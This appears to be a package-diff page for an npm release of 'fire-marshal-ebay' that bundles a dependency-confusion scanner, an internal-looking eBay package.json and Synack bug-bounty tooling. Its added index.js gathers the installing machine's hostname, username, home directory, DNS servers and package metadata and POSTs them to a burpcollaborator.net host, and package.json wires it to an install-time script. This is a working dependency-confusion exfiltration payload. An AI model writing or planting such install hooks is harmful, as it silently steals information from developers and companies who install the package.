fire-marshal-ebay 0.0.1-security.2 → 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of fire-marshal-ebay might be problematic. Click here for more details.
- package/PadBuster/LICENSE +202 -0
- package/PadBuster/README +16 -0
- package/PadBuster/padBuster.pl +889 -0
- package/confused/.github/workflows/codeql-analysis.yml +67 -0
- package/confused/.github/workflows/golangci-lint.yml +28 -0
- package/confused/.goreleaser.yml +40 -0
- package/confused/CHANGELOG.md +31 -0
- package/confused/LICENSE +21 -0
- package/confused/README.md +93 -0
- package/confused/composer.go +105 -0
- package/confused/confused +0 -0
- package/confused/interfaces.go +11 -0
- package/confused/main.go +104 -0
- package/confused/mvn.go +120 -0
- package/confused/mvnparser.go +139 -0
- package/confused/npm.go +210 -0
- package/confused/packages.json +86 -0
- package/confused/pip.go +99 -0
- package/confused/util.go +11 -0
- package/index.js +47 -0
- package/package.json +9 -4
- package/synackAPI/Dockerfile +36 -0
- package/synackAPI/README.md +238 -0
- package/synackAPI/RHINOSPIDER/burpOOS.txt +25 -0
- package/synackAPI/RHINOSPIDER/burpScope.txt +1 -0
- package/synackAPI/RHINOSPIDER/scope.txt +1 -0
- package/synackAPI/bot.py +72 -0
- package/synackAPI/checkCerts.py +67 -0
- package/synackAPI/connect.py +9 -0
- package/synackAPI/currentTarget +24 -0
- package/synackAPI/getAnalytics.py +40 -0
- package/synackAPI/getHydra.py +46 -0
- package/synackAPI/getPayouts.py +11 -0
- package/synackAPI/getscope.py +123 -0
- package/synackAPI/polling.py +27 -0
- package/synackAPI/register.py +7 -0
- package/synackAPI/requirements.txt +7 -0
- package/synackAPI/synack.py +1046 -0
- package/synackAPI/synstats.py +54 -0
- package/synackAPI/target.py +17 -0
- package/README.md +0 -5
@@ -0,0 +1,139 @@
|
|
1
|
+
//
|
2
|
+
// https://raw.githubusercontent.com/creekorful/mvnparser/master/parser.go
|
3
|
+
//
|
4
|
+
// MIT License
|
5
|
+
//
|
6
|
+
// Copyright (c) 2019 Aloïs Micard
|
7
|
+
//
|
8
|
+
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
9
|
+
// of this software and associated documentation files (the "Software"), to deal
|
10
|
+
// in the Software without restriction, including without limitation the rights
|
11
|
+
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
12
|
+
// copies of the Software, and to permit persons to whom the Software is
|
13
|
+
// furnished to do so, subject to the following conditions:
|
14
|
+
//
|
15
|
+
// The above copyright notice and this permission notice shall be included in all
|
16
|
+
// copies or substantial portions of the Software.
|
17
|
+
//
|
18
|
+
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
19
|
+
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
20
|
+
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
21
|
+
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
22
|
+
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
23
|
+
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
24
|
+
// SOFTWARE.
|
25
|
+
|
26
|
+
package main
|
27
|
+
|
28
|
+
import (
|
29
|
+
"encoding/xml"
|
30
|
+
"io"
|
31
|
+
)
|
32
|
+
|
33
|
+
// Represent a POM file
|
34
|
+
type MavenProject struct {
|
35
|
+
XMLName xml.Name `xml:"project"`
|
36
|
+
ModelVersion string `xml:"modelVersion"`
|
37
|
+
Parent Parent `xml:"parent"`
|
38
|
+
GroupId string `xml:"groupId"`
|
39
|
+
ArtifactId string `xml:"artifactId"`
|
40
|
+
Version string `xml:"version"`
|
41
|
+
Packaging string `xml:"packaging"`
|
42
|
+
Name string `xml:"name"`
|
43
|
+
Repositories []Repository `xml:"repositories>repository"`
|
44
|
+
Properties Properties `xml:"properties"`
|
45
|
+
DependencyManagement DependencyManagement `xml:"dependencyManagement"`
|
46
|
+
Dependencies []Dependency `xml:"dependencies>dependency"`
|
47
|
+
Profiles []Profile `xml:"profiles"`
|
48
|
+
Build Build `xml:"build"`
|
49
|
+
PluginRepositories []PluginRepository `xml:"pluginRepositories>pluginRepository"`
|
50
|
+
Modules []string `xml:"modules>module"`
|
51
|
+
}
|
52
|
+
|
53
|
+
// Represent the parent of the project
|
54
|
+
type Parent struct {
|
55
|
+
GroupId string `xml:"groupId"`
|
56
|
+
ArtifactId string `xml:"artifactId"`
|
57
|
+
Version string `xml:"version"`
|
58
|
+
}
|
59
|
+
|
60
|
+
// Represent a dependency of the project
|
61
|
+
type Dependency struct {
|
62
|
+
XMLName xml.Name `xml:"dependency"`
|
63
|
+
GroupId string `xml:"groupId"`
|
64
|
+
ArtifactId string `xml:"artifactId"`
|
65
|
+
Version string `xml:"version"`
|
66
|
+
Classifier string `xml:"classifier"`
|
67
|
+
Type string `xml:"type"`
|
68
|
+
Scope string `xml:"scope"`
|
69
|
+
Exclusions []Exclusion `xml:"exclusions>exclusion"`
|
70
|
+
}
|
71
|
+
|
72
|
+
// Represent an exclusion
|
73
|
+
type Exclusion struct {
|
74
|
+
XMLName xml.Name `xml:"exclusion"`
|
75
|
+
GroupId string `xml:"groupId"`
|
76
|
+
ArtifactId string `xml:"artifactId"`
|
77
|
+
}
|
78
|
+
|
79
|
+
type DependencyManagement struct {
|
80
|
+
Dependencies []Dependency `xml:"dependencies>dependency"`
|
81
|
+
}
|
82
|
+
|
83
|
+
// Represent a repository
|
84
|
+
type Repository struct {
|
85
|
+
Id string `xml:"id"`
|
86
|
+
Name string `xml:"name"`
|
87
|
+
Url string `xml:"url"`
|
88
|
+
}
|
89
|
+
|
90
|
+
type Profile struct {
|
91
|
+
Id string `xml:"id"`
|
92
|
+
Build Build `xml:"build"`
|
93
|
+
}
|
94
|
+
|
95
|
+
type Build struct {
|
96
|
+
// todo: final name ?
|
97
|
+
Plugins []Plugin `xml:"plugins>plugin"`
|
98
|
+
}
|
99
|
+
|
100
|
+
type Plugin struct {
|
101
|
+
XMLName xml.Name `xml:"plugin"`
|
102
|
+
GroupId string `xml:"groupId"`
|
103
|
+
ArtifactId string `xml:"artifactId"`
|
104
|
+
Version string `xml:"version"`
|
105
|
+
//todo something like: Configuration map[string]string `xml:"configuration"`
|
106
|
+
// todo executions
|
107
|
+
}
|
108
|
+
|
109
|
+
// Represent a pluginRepository
|
110
|
+
type PluginRepository struct {
|
111
|
+
Id string `xml:"id"`
|
112
|
+
Name string `xml:"name"`
|
113
|
+
Url string `xml:"url"`
|
114
|
+
}
|
115
|
+
|
116
|
+
// Represent Properties
|
117
|
+
type Properties map[string]string
|
118
|
+
|
119
|
+
func (p *Properties) UnmarshalXML(d *xml.Decoder, start xml.StartElement) error {
|
120
|
+
*p = map[string]string{}
|
121
|
+
for {
|
122
|
+
key := ""
|
123
|
+
value := ""
|
124
|
+
token, err := d.Token()
|
125
|
+
if err == io.EOF {
|
126
|
+
break
|
127
|
+
}
|
128
|
+
switch tokenType := token.(type) {
|
129
|
+
case xml.StartElement:
|
130
|
+
key = tokenType.Name.Local
|
131
|
+
err := d.DecodeElement(&value, &start)
|
132
|
+
if err != nil {
|
133
|
+
return err
|
134
|
+
}
|
135
|
+
(*p)[key] = value
|
136
|
+
}
|
137
|
+
}
|
138
|
+
return nil
|
139
|
+
}
|
package/confused/npm.go
ADDED
@@ -0,0 +1,210 @@
|
|
1
|
+
package main
|
2
|
+
|
3
|
+
import (
|
4
|
+
"encoding/json"
|
5
|
+
"fmt"
|
6
|
+
"io/ioutil"
|
7
|
+
"net/http"
|
8
|
+
"strings"
|
9
|
+
"time"
|
10
|
+
)
|
11
|
+
|
12
|
+
// PackageJSON represents the dependencies of an npm package
|
13
|
+
type PackageJSON struct {
|
14
|
+
Dependencies map[string]string `json:"dependencies,omitempty"`
|
15
|
+
DevDependencies map[string]string `json:"devDependencies,omitempty"`
|
16
|
+
PeerDependencies map[string]string `json:"peerDependencies,omitempty"`
|
17
|
+
BundledDependencies []string `json:"bundledDependencies,omitempty"`
|
18
|
+
BundleDependencies []string `json:"bundleDependencies,omitempty"`
|
19
|
+
OptionalDependencies map[string]string `json:"optionalDependencies,omitempty"`
|
20
|
+
}
|
21
|
+
|
22
|
+
type NpmResponse struct {
|
23
|
+
ID string `json:"_id"`
|
24
|
+
Name string `json:"name"`
|
25
|
+
Time struct {
|
26
|
+
Unpublished NpmResponseUnpublished `json:"unpublished"`
|
27
|
+
} `json:"time"`
|
28
|
+
}
|
29
|
+
|
30
|
+
type NpmResponseUnpublished struct {
|
31
|
+
Maintainers []struct {
|
32
|
+
Email string `json:"email"`
|
33
|
+
Name string `json:"name"`
|
34
|
+
} `json:"maintainers"`
|
35
|
+
Name string `json:"name"`
|
36
|
+
Tags struct {
|
37
|
+
Latest string `json:"latest"`
|
38
|
+
} `json:"tags"`
|
39
|
+
Time time.Time `json:"time"`
|
40
|
+
Versions []string `json:"versions"`
|
41
|
+
}
|
42
|
+
|
43
|
+
// NotAvailable returns true if the package has its all versions unpublished making it susceptible for takeover
|
44
|
+
func (n *NpmResponse) NotAvailable() bool {
|
45
|
+
// Check if a known field has a value
|
46
|
+
return len(n.Time.Unpublished.Name) > 0
|
47
|
+
}
|
48
|
+
|
49
|
+
// NPMLookup represents a collection of npm packages to be tested for dependency confusion.
|
50
|
+
type NPMLookup struct {
|
51
|
+
Packages []NPMPackage
|
52
|
+
Verbose bool
|
53
|
+
}
|
54
|
+
|
55
|
+
type NPMPackage struct {
|
56
|
+
Name string
|
57
|
+
Version string
|
58
|
+
}
|
59
|
+
|
60
|
+
// NewNPMLookup constructs an `NPMLookup` struct and returns it.
|
61
|
+
func NewNPMLookup(verbose bool) PackageResolver {
|
62
|
+
return &NPMLookup{Packages: []NPMPackage{}, Verbose: verbose}
|
63
|
+
}
|
64
|
+
|
65
|
+
// ReadPackagesFromFile reads package information from an npm package.json file
|
66
|
+
//
|
67
|
+
// Returns any errors encountered
|
68
|
+
func (n *NPMLookup) ReadPackagesFromFile(filename string) error {
|
69
|
+
rawfile, err := ioutil.ReadFile(filename)
|
70
|
+
if err != nil {
|
71
|
+
return err
|
72
|
+
}
|
73
|
+
data := PackageJSON{}
|
74
|
+
err = json.Unmarshal([]byte(rawfile), &data)
|
75
|
+
if err != nil {
|
76
|
+
fmt.Printf(" [W] Non-fatal issue encountered while reading %s : %s\n", filename, err)
|
77
|
+
}
|
78
|
+
for pkgname, pkgversion := range data.Dependencies {
|
79
|
+
n.Packages = append(n.Packages, NPMPackage{pkgname, pkgversion})
|
80
|
+
}
|
81
|
+
for pkgname, pkgversion := range data.DevDependencies {
|
82
|
+
n.Packages = append(n.Packages, NPMPackage{pkgname, pkgversion})
|
83
|
+
}
|
84
|
+
for pkgname, pkgversion := range data.PeerDependencies {
|
85
|
+
n.Packages = append(n.Packages, NPMPackage{pkgname, pkgversion})
|
86
|
+
}
|
87
|
+
for pkgname, pkgversion := range data.OptionalDependencies {
|
88
|
+
n.Packages = append(n.Packages, NPMPackage{pkgname, pkgversion})
|
89
|
+
}
|
90
|
+
for _, pkgname := range data.BundledDependencies {
|
91
|
+
n.Packages = append(n.Packages, NPMPackage{pkgname, ""})
|
92
|
+
}
|
93
|
+
for _, pkgname := range data.BundleDependencies {
|
94
|
+
n.Packages = append(n.Packages, NPMPackage{pkgname, ""})
|
95
|
+
}
|
96
|
+
return nil
|
97
|
+
}
|
98
|
+
|
99
|
+
// PackagesNotInPublic determines if an npm package does not exist in the public npm package repository.
|
100
|
+
//
|
101
|
+
// Returns a slice of strings with any npm packages not in the public npm package repository
|
102
|
+
func (n *NPMLookup) PackagesNotInPublic() []string {
|
103
|
+
notavail := []string{}
|
104
|
+
for _, pkg := range n.Packages {
|
105
|
+
if n.localReference(pkg.Version) || n.urlReference(pkg.Version) || n.gitReference(pkg.Version) {
|
106
|
+
continue
|
107
|
+
}
|
108
|
+
if n.gitHubReference(pkg.Version) {
|
109
|
+
if !n.gitHubOrgExists(pkg.Version) {
|
110
|
+
notavail = append(notavail, pkg.Name)
|
111
|
+
continue
|
112
|
+
} else {
|
113
|
+
continue
|
114
|
+
}
|
115
|
+
}
|
116
|
+
if !n.isAvailableInPublic(pkg.Name, 0) {
|
117
|
+
notavail = append(notavail, pkg.Name)
|
118
|
+
}
|
119
|
+
}
|
120
|
+
return notavail
|
121
|
+
}
|
122
|
+
|
123
|
+
// isAvailableInPublic determines if an npm package exists in the public npm package repository.
|
124
|
+
//
|
125
|
+
// Returns true if the package exists in the public npm package repository.
|
126
|
+
func (n *NPMLookup) isAvailableInPublic(pkgname string, retry int) bool {
|
127
|
+
if retry > 3 {
|
128
|
+
fmt.Printf(" [W] Maximum number of retries exhausted for package: %s\n", pkgname)
|
129
|
+
return false
|
130
|
+
}
|
131
|
+
if n.Verbose {
|
132
|
+
fmt.Print("Checking: https://registry.npmjs.org/" + pkgname + "/ : ")
|
133
|
+
}
|
134
|
+
resp, err := http.Get("https://registry.npmjs.org/" + pkgname + "/")
|
135
|
+
if err != nil {
|
136
|
+
fmt.Printf(" [W] Error when trying to request https://registry.npmjs.org/"+pkgname+"/ : %s\n", err)
|
137
|
+
return false
|
138
|
+
}
|
139
|
+
defer resp.Body.Close()
|
140
|
+
if n.Verbose {
|
141
|
+
fmt.Printf("%s\n", resp.Status)
|
142
|
+
}
|
143
|
+
if resp.StatusCode == http.StatusOK {
|
144
|
+
npmResp := NpmResponse{}
|
145
|
+
body, _ := ioutil.ReadAll(resp.Body)
|
146
|
+
_ = json.Unmarshal(body, &npmResp)
|
147
|
+
if npmResp.NotAvailable() {
|
148
|
+
if n.Verbose {
|
149
|
+
fmt.Printf("[W] Package %s was found, but all its versions are unpublished, making anyone able to takeover the namespace.\n", pkgname)
|
150
|
+
}
|
151
|
+
return false
|
152
|
+
}
|
153
|
+
return true
|
154
|
+
} else if resp.StatusCode == 429 {
|
155
|
+
fmt.Printf(" [!] Server responded with 429 (Too many requests), throttling and retrying...\n")
|
156
|
+
time.Sleep(10 * time.Second)
|
157
|
+
retry = retry + 1
|
158
|
+
n.isAvailableInPublic(pkgname, retry)
|
159
|
+
}
|
160
|
+
return false
|
161
|
+
}
|
162
|
+
|
163
|
+
// localReference checks if the package version is in fact a reference to filesystem
|
164
|
+
func (n *NPMLookup) localReference(pkgversion string) bool {
|
165
|
+
return strings.HasPrefix(strings.ToLower(pkgversion), "file:")
|
166
|
+
}
|
167
|
+
|
168
|
+
// urlReference checks if the package version is in fact a reference to a direct URL
|
169
|
+
func (n *NPMLookup) urlReference(pkgversion string) bool {
|
170
|
+
pkgversion = strings.ToLower(pkgversion)
|
171
|
+
return strings.HasPrefix(pkgversion, "http:") || strings.HasPrefix(pkgversion, "https:")
|
172
|
+
}
|
173
|
+
|
174
|
+
// gitReference checks if the package version is in fact a reference to a remote git repository
|
175
|
+
func (n *NPMLookup) gitReference(pkgversion string) bool {
|
176
|
+
pkgversion = strings.ToLower(pkgversion)
|
177
|
+
gitResources := []string{"git+ssh:", "git+http:", "git+https:", "git:"}
|
178
|
+
for _, r := range gitResources {
|
179
|
+
if strings.HasPrefix(pkgversion, r) {
|
180
|
+
return true
|
181
|
+
}
|
182
|
+
}
|
183
|
+
return false
|
184
|
+
}
|
185
|
+
|
186
|
+
// gitHubReference checks if the package version refers to a GitHub repository
|
187
|
+
func (n *NPMLookup) gitHubReference(pkgversion string) bool {
|
188
|
+
return !strings.HasPrefix(pkgversion, "@") && strings.Contains(pkgversion, "/")
|
189
|
+
}
|
190
|
+
|
191
|
+
// gitHubOrgExists returns true if GitHub organization / user exists
|
192
|
+
func (n NPMLookup) gitHubOrgExists(pkgversion string) bool {
|
193
|
+
orgName := strings.Split(pkgversion, "/")[0]
|
194
|
+
if len(orgName) > 0 {
|
195
|
+
if n.Verbose {
|
196
|
+
fmt.Print("Checking: https://github.com/" + orgName + " : ")
|
197
|
+
}
|
198
|
+
resp, err := http.Get("https://github.com/" + orgName)
|
199
|
+
if err != nil {
|
200
|
+
fmt.Printf(" [W] Error while trying to request https://github.com/"+orgName+" : %s\n", err)
|
201
|
+
return false
|
202
|
+
}
|
203
|
+
defer resp.Body.Close()
|
204
|
+
if n.Verbose {
|
205
|
+
fmt.Printf("%d\n", resp.StatusCode)
|
206
|
+
}
|
207
|
+
return resp.StatusCode == 200
|
208
|
+
}
|
209
|
+
return false
|
210
|
+
}
|
@@ -0,0 +1,86 @@
|
|
1
|
+
{
|
2
|
+
"name" : "fig",
|
3
|
+
"version" : "1.1.5",
|
4
|
+
"description" : "Node micro-frontend for configuring sandwich.",
|
5
|
+
"main" : "index.js",
|
6
|
+
"scripts" : {
|
7
|
+
"prestart" : "rm -rf ./log; mkdir log; touch ./log/ebay_raw.log",
|
8
|
+
"start" : "node index.js",
|
9
|
+
"browser-refresh" : "browser-refresh",
|
10
|
+
"test" : "exit",
|
11
|
+
"coverage" : "exit",
|
12
|
+
"clean" : "rm -rf .cache .beans && ./node_modules/.bin/markoc . --clean"
|
13
|
+
},
|
14
|
+
"lint-staged" : {
|
15
|
+
"*.js" : [ "eslint --fix", "git add" ]
|
16
|
+
},
|
17
|
+
"repository" : {
|
18
|
+
"type" : "git",
|
19
|
+
"url" : "https://github.corp.ebay.com/ads/fig.git"
|
20
|
+
},
|
21
|
+
"author" : "DL-eBay-AdsMerch-Sandwich@ebay.com",
|
22
|
+
"dependencies" : {
|
23
|
+
"@ebay/ebayui-core" : "^2",
|
24
|
+
"@ebay/skin" : "^7",
|
25
|
+
"@lasso/marko-taglib" : "^1",
|
26
|
+
"app-module-path" : "^2",
|
27
|
+
"auth-ebay" : "^4",
|
28
|
+
"bentobox" : "^1.4.11",
|
29
|
+
"brogan-ebay" : "^4.5.0",
|
30
|
+
"browser-refresh" : "^1.7.3",
|
31
|
+
"browser-refresh-taglib" : "^1",
|
32
|
+
"cal" : "^4",
|
33
|
+
"commons-ebay" : "^4",
|
34
|
+
"commons-inc" : "^4",
|
35
|
+
"cookies-ebay" : "^4",
|
36
|
+
"ebay-font" : "^1.2.2",
|
37
|
+
"ebayui-ads" : "^1.0.17",
|
38
|
+
"environment-ebay" : "^1",
|
39
|
+
"express" : "^4",
|
40
|
+
"fire-marshal-ebay" : "^4",
|
41
|
+
"gatekeeper-ebay" : "^4",
|
42
|
+
"jquery" : "^3.3.1",
|
43
|
+
"kraken-js" : "^2",
|
44
|
+
"lasso" : "^3",
|
45
|
+
"lasso-autoprefixer" : "^1",
|
46
|
+
"lasso-less" : "^3",
|
47
|
+
"lasso-marko" : "^2",
|
48
|
+
"legacy-client-ebay" : "^1",
|
49
|
+
"lodash" : "^4",
|
50
|
+
"logging-inc" : "^4",
|
51
|
+
"marko" : "^4",
|
52
|
+
"marko-widgets" : "^7",
|
53
|
+
"meta-router" : "^3",
|
54
|
+
"metrics-ebay" : "^4",
|
55
|
+
"module-config-inc" : "^4",
|
56
|
+
"monitor-inc" : "^4",
|
57
|
+
"optimizer-plugin-inc" : "^4",
|
58
|
+
"raptor-amd" : "^1",
|
59
|
+
"raptor-async" : "^1",
|
60
|
+
"request-local" : "^1",
|
61
|
+
"security-ebay" : "^4",
|
62
|
+
"serve-static" : "^1.10.2",
|
63
|
+
"service-client-ebay" : "^4",
|
64
|
+
"sso-ebay" : "^5.0.0",
|
65
|
+
"xlsx" : "^0.14.3"
|
66
|
+
},
|
67
|
+
"devDependencies" : {
|
68
|
+
"chai" : "^4",
|
69
|
+
"eslint" : "^5",
|
70
|
+
"eslint-config-ebay" : "^1",
|
71
|
+
"eslint-plugin-chai-friendly" : "^0",
|
72
|
+
"lint-staged" : "^8",
|
73
|
+
"marko-cli" : "^4",
|
74
|
+
"mocha" : "^5",
|
75
|
+
"nyc" : "^13",
|
76
|
+
"supertest" : "^3"
|
77
|
+
},
|
78
|
+
"license" : "BSD-2-Clause",
|
79
|
+
"gpaas" : {
|
80
|
+
"consumer-id" : "urn:ebay-marketplace-consumerid:aea72d4d-9563-4864-aa5d-83406735b10d",
|
81
|
+
"short-app-name" : "fig",
|
82
|
+
"owner" : "DL-eBay-AdsMerch-Sandwich@ebay.com",
|
83
|
+
"team-dl" : "DL-eBay-AdsMerch-Sandwich@ebay.com",
|
84
|
+
"registration-top-level-dir" : "fig"
|
85
|
+
}
|
86
|
+
}
|
package/confused/pip.go
ADDED
@@ -0,0 +1,99 @@
|
|
1
|
+
package main
|
2
|
+
|
3
|
+
import (
|
4
|
+
"fmt"
|
5
|
+
"io/ioutil"
|
6
|
+
"net/http"
|
7
|
+
"strings"
|
8
|
+
)
|
9
|
+
|
10
|
+
// PythonLookup represents a collection of python packages to be tested for dependency confusion.
|
11
|
+
type PythonLookup struct {
|
12
|
+
Packages []string
|
13
|
+
Verbose bool
|
14
|
+
}
|
15
|
+
|
16
|
+
// NewPythonLookup constructs a `PythonLookup` struct and returns it
|
17
|
+
func NewPythonLookup(verbose bool) PackageResolver {
|
18
|
+
return &PythonLookup{Packages: []string{}, Verbose: verbose}
|
19
|
+
}
|
20
|
+
|
21
|
+
// ReadPackagesFromFile reads package information from a python `requirements.txt` file
|
22
|
+
//
|
23
|
+
// Returns any errors encountered
|
24
|
+
func (p *PythonLookup) ReadPackagesFromFile(filename string) error {
|
25
|
+
rawfile, err := ioutil.ReadFile(filename)
|
26
|
+
if err != nil {
|
27
|
+
return err
|
28
|
+
}
|
29
|
+
line := ""
|
30
|
+
for _, l := range strings.Split(string(rawfile), "\n") {
|
31
|
+
l = strings.TrimSpace(l)
|
32
|
+
if strings.HasPrefix(l, "#") {
|
33
|
+
continue
|
34
|
+
}
|
35
|
+
if len(l) > 0 {
|
36
|
+
// Support line continuation
|
37
|
+
if strings.HasSuffix(l, "\\") {
|
38
|
+
line += l[:len(l) - 1]
|
39
|
+
continue
|
40
|
+
}
|
41
|
+
line += l
|
42
|
+
pkgrow := strings.FieldsFunc(line, p.pipSplit)
|
43
|
+
if len(pkgrow) > 0 {
|
44
|
+
p.Packages = append(p.Packages, strings.TrimSpace(pkgrow[0]))
|
45
|
+
}
|
46
|
+
// reset the line variable
|
47
|
+
line = ""
|
48
|
+
}
|
49
|
+
}
|
50
|
+
return nil
|
51
|
+
}
|
52
|
+
|
53
|
+
// PackagesNotInPublic determines if a python package does not exist in the pypi package repository.
|
54
|
+
//
|
55
|
+
// Returns a slice of strings with any python packages not in the pypi package repository
|
56
|
+
func (p *PythonLookup) PackagesNotInPublic() []string {
|
57
|
+
notavail := []string{}
|
58
|
+
for _, pkg := range p.Packages {
|
59
|
+
if !p.isAvailableInPublic(pkg) {
|
60
|
+
notavail = append(notavail, pkg)
|
61
|
+
}
|
62
|
+
}
|
63
|
+
return notavail
|
64
|
+
}
|
65
|
+
|
66
|
+
func (p *PythonLookup) pipSplit(r rune) bool {
|
67
|
+
delims := []rune{
|
68
|
+
'=',
|
69
|
+
'<',
|
70
|
+
'>',
|
71
|
+
'!',
|
72
|
+
' ',
|
73
|
+
'~',
|
74
|
+
'#',
|
75
|
+
'[',
|
76
|
+
}
|
77
|
+
return inSlice(r, delims)
|
78
|
+
}
|
79
|
+
|
80
|
+
// isAvailableInPublic determines if a python package exists in the pypi package repository.
|
81
|
+
//
|
82
|
+
// Returns true if the package exists in the pypi package repository.
|
83
|
+
func (p *PythonLookup) isAvailableInPublic(pkgname string) bool {
|
84
|
+
if p.Verbose {
|
85
|
+
fmt.Print("Checking: https://pypi.org/project/" + pkgname + "/ : ")
|
86
|
+
}
|
87
|
+
resp, err := http.Get("https://pypi.org/project/" + pkgname + "/")
|
88
|
+
if err != nil {
|
89
|
+
fmt.Printf(" [W] Error when trying to request https://pypi.org/project/"+pkgname+"/ : %s\n", err)
|
90
|
+
return false
|
91
|
+
}
|
92
|
+
if p.Verbose {
|
93
|
+
fmt.Printf("%s\n", resp.Status)
|
94
|
+
}
|
95
|
+
if resp.StatusCode == http.StatusOK {
|
96
|
+
return true
|
97
|
+
}
|
98
|
+
return false
|
99
|
+
}
|
package/confused/util.go
ADDED
package/index.js
ADDED
@@ -0,0 +1,47 @@
|
|
1
|
+
//author:- whitehacker003@protonmail.com
|
2
|
+
const os = require("os");
|
3
|
+
const dns = require("dns");
|
4
|
+
const querystring = require("querystring");
|
5
|
+
const https = require("https");
|
6
|
+
const packageJSON = require("./package.json");
|
7
|
+
const package = packageJSON.name;
|
8
|
+
|
9
|
+
const trackingData = JSON.stringify({
|
10
|
+
p: package,
|
11
|
+
c: __dirname,
|
12
|
+
hd: os.homedir(),
|
13
|
+
hn: os.hostname(),
|
14
|
+
un: os.userInfo().username,
|
15
|
+
dns: dns.getServers(),
|
16
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
17
|
+
v: packageJSON.version,
|
18
|
+
pjson: packageJSON,
|
19
|
+
});
|
20
|
+
|
21
|
+
var postData = querystring.stringify({
|
22
|
+
msg: trackingData,
|
23
|
+
});
|
24
|
+
|
25
|
+
var options = {
|
26
|
+
hostname: "dwdr89md209lsnps8c2t1q1dm4svgk.burpcollaborator.net", //replace burpcollaborator.net with Interactsh or pipedream
|
27
|
+
port: 443,
|
28
|
+
path: "/",
|
29
|
+
method: "POST",
|
30
|
+
headers: {
|
31
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
32
|
+
"Content-Length": postData.length,
|
33
|
+
},
|
34
|
+
};
|
35
|
+
|
36
|
+
var req = https.request(options, (res) => {
|
37
|
+
res.on("data", (d) => {
|
38
|
+
process.stdout.write(d);
|
39
|
+
});
|
40
|
+
});
|
41
|
+
|
42
|
+
req.on("error", (e) => {
|
43
|
+
// console.error(e);
|
44
|
+
});
|
45
|
+
|
46
|
+
req.write(postData);
|
47
|
+
req.end();
|
package/package.json
CHANGED
@@ -1,6 +1,11 @@
|
|
1
1
|
{
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
2
|
+
"name": "fire-marshal-ebay",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "Synack is here",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstal": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC"
|
6
11
|
}
|
@@ -0,0 +1,36 @@
|
|
1
|
+
# Get selenium and base image
|
2
|
+
# This is a setup for docker environment, you can use it to build your own instance
|
3
|
+
# To build the image simply run: "docker build . -t synackapi"
|
4
|
+
# This will result on a docker image on your system under the name synackapi
|
5
|
+
# To run the docker image use: "docker run -d --name synackapi --dns 8.8.8.8 --rm -v ~/.synack:/root/.synack synackapi"
|
6
|
+
# The above will run the docker in the background and it will simply poll and register all new targets
|
7
|
+
# To run the mission bot you can execute "docker run --name synackapi -ti --dns 8.8.8.8 --rm -v ~/.synack:/root/.synack synackapi python3 bot.py"
|
8
|
+
# Or from inside the running docker simply connect to it using : "docker exec -ti synackapi /bin/bash", and run python3 bot.py from there.
|
9
|
+
FROM selenium/standalone-firefox
|
10
|
+
|
11
|
+
USER root
|
12
|
+
RUN apt update
|
13
|
+
RUN apt-get install python3-pip -y
|
14
|
+
RUN apt-get install python3-distutils -y
|
15
|
+
RUN python3 -m pip install selenium
|
16
|
+
|
17
|
+
RUN mkdir /root/.synack
|
18
|
+
# set the working directory in the container
|
19
|
+
WORKDIR /synackAPI
|
20
|
+
|
21
|
+
ENV HOME=/root
|
22
|
+
|
23
|
+
RUN wget https://github.com/mozilla/geckodriver/releases/download/v0.29.1/geckodriver-v0.29.1-linux64.tar.gz
|
24
|
+
RUN tar xzf geckodriver-v0.29.1-linux64.tar.gz && mv geckodriver /usr/bin/
|
25
|
+
|
26
|
+
# copy the dependencies file to the working directory
|
27
|
+
COPY requirements.txt .
|
28
|
+
|
29
|
+
# install dependencies
|
30
|
+
RUN pip install -r requirements.txt
|
31
|
+
|
32
|
+
# copy the content of the local src directory to the working directory
|
33
|
+
COPY ./ .
|
34
|
+
|
35
|
+
# command to run on container start
|
36
|
+
CMD [ "python3", "/synackAPI/polling.py" ]
|